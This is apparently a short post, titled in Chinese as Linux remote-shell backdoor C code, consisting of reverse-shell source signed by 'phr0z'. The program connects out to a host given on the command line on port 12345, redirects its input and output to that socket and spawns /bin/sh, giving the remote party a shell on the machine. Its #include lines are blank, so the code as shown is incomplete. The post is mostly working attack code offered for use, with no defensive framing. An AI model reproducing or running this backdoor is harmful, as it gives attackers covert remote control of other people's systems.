远程shell后门C代码(linux)

// Wr1tt3n by phr0z

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define PORT 12345 // the port client will be connecting to

#define SHELL "/bin/sh" // the type of shell we r g0nna spawn

int main(int argc, char *argv[]) {
   
   int sockfd; 
   struct hostent *he;
   struct sockaddr_in server;
   char text[] = "You have a shell\r\nWoot?\r\n"; // Our L33T h4x M3ss4g3

   if (argc != 2) {
       fprintf(stderr,"usage: h0stname/ip\n");
       exit(1);
   }

   if ((he=gethostbyname(argv[1])) == NULL) {
       perror("gethostbyname");
       exit(1);
   }

   if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
       perror("socket");
       exit(1);
   }

   server.sin_family = AF_INET;
   server.sin_port = htons(PORT);
   server.sin_addr = *((struct in_addr *)he->h_addr);
   memset(&(server.sin_zero), '\0', 8);

   if (connect(sockfd, (struct sockaddr *)&server, sizeof(struct sockaddr)) == -1) {
       perror("connect");
       exit(1);
   }

   send(sockfd, text, strlen(text), 0);
   
   dup2(sockfd, STDIN_FILENO);
   dup2(sockfd, STDOUT_FILENO);
   dup2(sockfd, STDERR_FILENO);
   setsid();
   system("last -1 $USER | head -n 1; cat /etc/motd");
   execve(SHELL, NULL, NULL);
   close(sockfd);
   return 0;
}